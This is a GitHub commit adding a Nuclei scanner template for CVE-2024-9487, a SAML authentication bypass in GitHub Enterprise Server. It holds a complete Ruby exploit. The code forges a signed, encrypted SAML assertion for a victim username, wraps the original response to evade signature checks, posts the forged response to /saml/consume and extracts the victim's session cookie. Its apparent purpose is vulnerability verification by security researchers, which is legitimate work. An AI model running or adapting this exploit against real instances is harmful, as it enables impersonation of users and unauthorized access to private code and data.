Create CVE-2024-9487 (GitHub Enterprise - SAML Authentication Bypass) (#11173)

* Create CVE-2024-9487.yaml

* misc updates

* misc update in name

---------

Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io>
patch-14
Dhiyaneshwaran 2024-11-11 03:58:26 +05:30 committed by GitHub
parent 70742a41d1
commit 3599719c4a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 190 additions and 0 deletions

View File

@ -0,0 +1,190 @@
id: CVE-2024-9487
info:
name: GitHub Enterprise - SAML Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
reference:
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
- https://github.com/advisories/GHSA-g83h-4727-5rpv
classification:
epss-score: 0.00045
epss-percentile: 0.16808
metadata:
verified: true
shodan-query: title:"GitHub Enterprise"
tags: github,ghe,saml,auth-bypass,sso
code:
- engine:
- ruby
source: |
## Variable Usage:
# username - Victim Github Username/Email to impersonate.
# SAMLResponse - SAML Response body.
# metadata_url - IDP's Metadata URL.
# RelayState - Relay state associated with the SAML Response body.
require 'nokogiri'
require 'openssl'
require 'base64'
require 'cgi'
require 'open-uri'
saml_response_xml = Base64.decode64(CGI.unescape(ENV['SAMLResponse']))
saml_response = Nokogiri::XML(saml_response_xml)
namespaces = {'ds' => 'http://www.w3.org/2000/09/xmldsig#','saml2' => 'urn:oasis:names:tc:SAML:2.0:assertion','saml2p' => 'urn:oasis:names:tc:SAML:2.0:protocol'}
issuer = saml_response.xpath('//saml2:Issuer', namespaces).first.text
metadata_idp_url = (ENV['metadata_url'])
# URL to fetch the XML from
url = "#{ENV['RootURL']}/saml/metadata"
begin
# Open the URL and read the XML
xml_content = URI.open(url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
xml_content_idp = URI.open(metadata_idp_url,{ ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE }).read
# Parse the XML content with Nokogiri
doc = Nokogiri::XML(xml_content)
idp_doc = Nokogiri::XML(xml_content_idp)
# Extract the ds:X509Certificate
certificate = doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
audience = doc.at_xpath('//md:EntityDescriptor/@entityID').value
recipient = doc.at_xpath('//md:AssertionConsumerService/@Location').value
idp_cert = idp_doc.at_xpath('//ds:X509Certificate', 'ds' => 'http://www.w3.org/2000/09/xmldsig#')
# Print the extracted certificate
if certificate
enc_cert = Base64.decode64("#{certificate.text.strip}")
else
puts "ds:X509Certificate not found in the XML."
end
rescue OpenURI::HTTPError => e
puts "HTTP Error: #{e.message}"
rescue => e
puts "An error occurred: #{e.message}"
end
signed_assertion_xml = <<-XML
<saml2:Assertion ID="id1423912998721389200353112" IssueInstant="2024-10-13T09:53:46.851Z" Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">issuer_replace</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1423912998721389200353112"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>2n9HGB3mHU+gxo8DJrIw0MwT/Gs7/agpmo+C1sb7mtU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>OYOIw4wMFxm3OaG/n7YbQxcWKAFDmUjD33WIQJ3VgdsWdfV141v34AcV0tQ3A5dh9vWsM7/Kn3D0HETJzylJUaI4HhWWkNHrGpPX07Tjd0Yk7y9cD3+AzjIIsYlLGtpHFQ6jNAIzq4BumR+sb0ERQaG7IQqxgkCRY49YFtcJryxwjsgu/LD4gI7wOLdWh2cnZgReH5s9hXzyXaRoziUNdSv5McZx/T3VV76qGE2GZbQUGnBm9jwHjGriedi1PksKZxxcKdsumXk20i+fWEU8ueQJYm1mIHQa5bn2AVgE8D1grOYlhAOgjV8ByXZB0hC0Zkrgth9h1ij9rY9yBRxPVw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>cert_replace</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user_replace</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData Recipient="recipient_replace"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>audience_replace</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2024-10-13T09:27:23.840Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement><saml2:Attribute Name="emails" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">user_replace</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion>
XML
signed_assertion_xml = signed_assertion_xml.gsub "cert_replace", idp_cert
doc = Nokogiri::XML(signed_assertion_xml)
signed_assertion_xml = doc.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
cert = enc_cert
cert = OpenSSL::X509::Certificate.new(cert)
public_key = cert.public_key
# Encrypt the signed assertion node using AES and RSA for key wrapping
def encrypt_assertion(assertion_node, rsa_public_key)
# Create a random AES key for encrypting the data
aes_key = OpenSSL::Cipher.new('AES-256-CBC').random_key
# Encrypt the signed assertion (as an XML string)
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = aes_key
encrypted_data = cipher.update(assertion_node) + cipher.final
# Encrypt the AES key using the RSA public key
encrypted_aes_key = rsa_public_key.public_encrypt(aes_key, 4)
# Base64 encode both the encrypted data and the encrypted AES key
encrypted_data_b64 = Base64.encode64(encrypted_data)
encrypted_aes_key_b64 = Base64.encode64(encrypted_aes_key)
encrypted_assertion_xml = <<-XML
<saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<xenc:EncryptedKey>
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/>
<xenc:CipherData>
<xenc:CipherValue>#{encrypted_aes_key_b64}</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedKey>
</ds:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>#{encrypted_data_b64}</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</saml:EncryptedAssertion>
XML
Nokogiri::XML(encrypted_assertion_xml)
end
# Parse the signed assertion into Nokogiri XML document
doc = Nokogiri::XML(signed_assertion_xml)
assertion_node = doc.at('//saml2:Assertion', namespaces)
assertion_node_str= assertion_node.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
assertion_node_str = assertion_node_str.gsub! "user_replace", "#{ENV['username']}"
assertion_node_str = assertion_node_str.gsub! "issuer_replace", issuer
assertion_node_str = assertion_node_str.gsub! "recipient_replace", recipient
assertion_node_str = assertion_node_str.gsub! "audience_replace", audience
assertion_node_1 = Nokogiri::XML(assertion_node_str)
assertion_node_dup = assertion_node_1.dup
assertion_node_dup.at_xpath("//ds:Signature", namespaces).remove
assertion_node_dup.xpath('//text()').each do |text_node|
text_node.content = text_node.text.strip
end
canonical_xml = assertion_node_dup.canonicalize(
Nokogiri::XML::XML_C14N_EXCLUSIVE_1_0,
[], # InclusiveNamespaces PrefixList
false # WithComments
)
# Compute the SHA-256 Digest
digest = OpenSSL::Digest::SHA256.digest(canonical_xml)
digest_base64 = Base64.encode64(digest).strip
assertion_node_1.at_xpath("//ds:DigestValue", namespaces).content = digest_base64
final_assertion_node_str = assertion_node_1.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)
encrypted_assertion_node = encrypt_assertion("padinggggggggggg"+final_assertion_node_str, public_key)
encrypted_assertion_node_str = encrypted_assertion_node.to_xml
#create new saml doc
saml_resp_node = saml_response.at('/saml2p:Response', namespaces)
saml_resp_sign_node = saml_response.at('/saml2p:Response/ds:Signature', namespaces)
saml_resp_sign_key_node = saml_response.at('/saml2p:Response/ds:Signature/ds:KeyInfo', namespaces)
object_node = Nokogiri::XML::Node.new("Object", saml_resp_sign_node)
object_node.namespace = saml_resp_sign_node.namespace
object_node.add_child(saml_resp_node.dup)
saml_resp_sign_key_node.add_next_sibling(object_node)
encrypted_assertion_node = Nokogiri::XML(encrypted_assertion_node_str)
encrypted_assertion_node1 = encrypted_assertion_node.at_xpath('//saml2:EncryptedAssertion', namespaces )
saml_response.at_xpath('/saml2p:Response/saml2:EncryptedAssertion', namespaces).replace(encrypted_assertion_node1)
saml_resp_node['ID'] = saml_resp_node['ID'][0..-3]+"ae"
puts CGI.escape(Base64.strict_encode64(saml_response.to_xml(:indent => 0, :save_with => Nokogiri::XML::Node::SaveOptions::AS_XML)))
http:
- raw:
- |
POST /saml/consume HTTP/1.1
Host: {{Hostname}}
Cookie: saml_csrf_token={{RelayState}}; saml_csrf_token_legacy={{RelayState}};
Content-Type: application/x-www-form-urlencoded
RelayState={{RelayState}}&SAMLResponse={{code_response}}
matchers:
- type: dsl
dsl:
- 'contains(header,"dotcom_user")'
- 'status_code == 302'
condition: and
extractors:
- type: kval
kval:
- user_session